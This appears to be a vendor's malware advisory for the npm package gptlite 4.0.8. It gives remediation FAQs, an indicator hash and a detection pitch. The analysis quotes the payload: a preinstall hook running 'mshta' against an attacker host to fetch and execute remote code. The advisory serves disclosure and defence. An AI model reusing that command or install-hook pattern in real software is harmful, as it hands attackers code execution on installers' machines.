Which versions of gptlite are malicious?

The following npm versions of gptlite are flagged malicious: 4.0.8. Treat any of these as compromised.

How do I remediate gptlite if I installed it?

Remove gptlite from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed gptlite — how do I know if it already compromised me?

If gptlite was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is gptlite part of a known attack campaign?

Yes — gptlite is associated with the IN-MAL-2026-010274 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find gptlite across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for gptlite (version 4.0.8).

Malicious package

gptlitenpm

Advisory published Jul 13, 2026Updated Jul 13, 2026

gptlite is a confirmed malicious npm package (MAL-2026-10461) that executes malicious code on install (malicious version 4.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gptlite (npm)

MAL-2026-10461

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gptlite

What this malware does

The package's npm preinstall lifecycle script (preinstall.js, referenced from package.json's "preinstall": "node preinstall.js") invokes child_process.exec with the command cmd /c "mshta http://fixars.top". On Windows, mshta.exe fetches the remote HTML Application over plain HTTP from fixars.top and executes it as trusted code. The fetch runs automatically on npm install, before any consumer code is reviewed, and delivers arbitrary attacker-controlled code execution on the installer's machine. The destination domain is unrelated to any documented package purpose and is served over unauthenticated HTTP, so the executed content is fully attacker-controlled and mutable.

Malicious versions

1 flagged

4.0.8

Indicators of compromise (SHA-256)

e1b12c4a304855689342c2732abcf11dec5cc206960f495525b967fca6d14662

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for gptlite (version 4.0.8).
If you installed it — respond
Remove gptlite from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If gptlite was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. gptlite on npm has been identified as a malicious package (version 4.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010274

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks gptlite-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database